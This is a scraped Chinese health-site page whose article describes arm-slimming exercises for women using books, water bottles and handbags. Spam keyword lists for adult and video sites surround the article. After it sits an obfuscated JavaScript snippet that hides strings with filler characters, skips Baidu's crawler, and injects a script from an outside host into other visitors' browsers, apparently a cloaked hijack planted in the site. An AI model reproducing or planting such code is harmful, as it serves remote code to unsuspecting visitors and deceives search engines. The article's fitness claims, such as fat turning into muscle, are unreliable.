久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

女生啞鈴瘦手臂的方法有哪些呢

2017-04-22 01:25:19  來源:360常識網   熱度:
導語:很多女孩子擔心自己的上臂,肥肉很多穿衣服的時候會顯得很難看,有不少人會采取許多的鍛煉臂膀方法,因為臂膀的肉肉是比較難減的,一些運動

很多女孩子擔心自己的上臂,肥肉很多穿衣服的時候會顯得很難看,有不少人會采取許多的鍛煉臂膀方法,因為臂膀的肉肉是比較難減的,一些運動效果也并不是很好,除了用女孩子們常見的鍛煉方法以外,女生需要您的效果也是很不錯的,那么女生舉啞鈴瘦手臂的方法有哪些呢?

很多女人都擔心上臂的肉肉在穿衣服時很難看,那下面這兩組瘦臂操可以不借助啞鈴就為你實現纖臂的夢想。瘦臂操需要你每天做2次,動作超級簡單,最重要的是效果很顯著哦!

瘦上臂

針對手臂線條,以下這套收手臂操,可借書本之力使肥大的臂彎消失:

1. 左手緊握書本,向上提起,右手則握緊手。

2. 左手向后屈曲,吸一口氣,并維持20秒。

3. 一邊呼氣,一邊將左手慢慢提起成水平線,左右手重復動作各10次。

以側背袋結實手臂:平時應以手抓著背帶中央,可令手臂肌肉更結實。

瘦下臂

針對手臂線條,除了可以書本或手袋結實手臂外,亦可試試以塑料水瓶代替啞鈴收緊手臂肌肉:

1. 先將雙腳分開站立,單手握緊塑料水瓶。

2. 單手舉起塑料水瓶成90度,并至前額位置,維持10秒。

3. 把手舉高伸直,另一只手可放松,維持20秒;然后轉手將步驟1至3的動作重復,左右手各做20次。

以手袋收手臂:盡量將手袋掛在手的前臂上,并貼近胸部下方,將重量分散至身體中心位,這可令手臂線條更突出。

關于女生啞鈴瘦手臂的方法有哪些呢?首先女孩子通過舉啞鈴可以鍛煉自己的手臂,讓自己的手臂,肥肉快速縮緊,要對瘦手臂有幫助,但是要注意的是,要勞逸結合,高強度的運動很容易把肥肉轉化成肌肉,那可就得不償失了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 99re99| 中文字幕日韩一区二区三区 | 成人av免费在线观看 | 亚洲成人av在线播放 | 中文字幕av免费 | 日本在线免费电影 | 不卡久久| 中国一级大黄大黄大色毛片 | 久久久久久久一区 | 成人精品一区二区三区中文字幕 | 青青青免费视频在线 | 精品欧美一区二区三区在线观看 | 亚洲精品一区在线观看 | 91精品一区二区 | 国产精品久久久久久久久久久久久 | 精品日韩一区二区三区免费视频 | 91精品久久久久久久91蜜桃 | 伊人精品影院 | se69色成人网wwwsex | 精品久久久久久久久久久久久久 | 97av视频 | 欧美一区视频 | 免费不卡视频 | 久久精品欧美一区二区三区不卡 | 天堂成人国产精品一区 | 国产一区免费在线 | 欧美日韩一区二区三区不卡视频 | 国产精品多久久久久久情趣酒店 | www.色综合| 99re6在线视频精品免费 | 精品国产乱码久久久久久1区2区 | 亚洲成人日韩 | 亚洲www啪成人一区二区 | 国产精品不卡一区 | 国产精品成人免费 | 色欧美日韩 | 欧美日韩一区二区三区在线观看 | 一区二区日韩精品 | 午夜a级理论片915影院 | 欧美国产亚洲一区二区 | 国产高清免费 |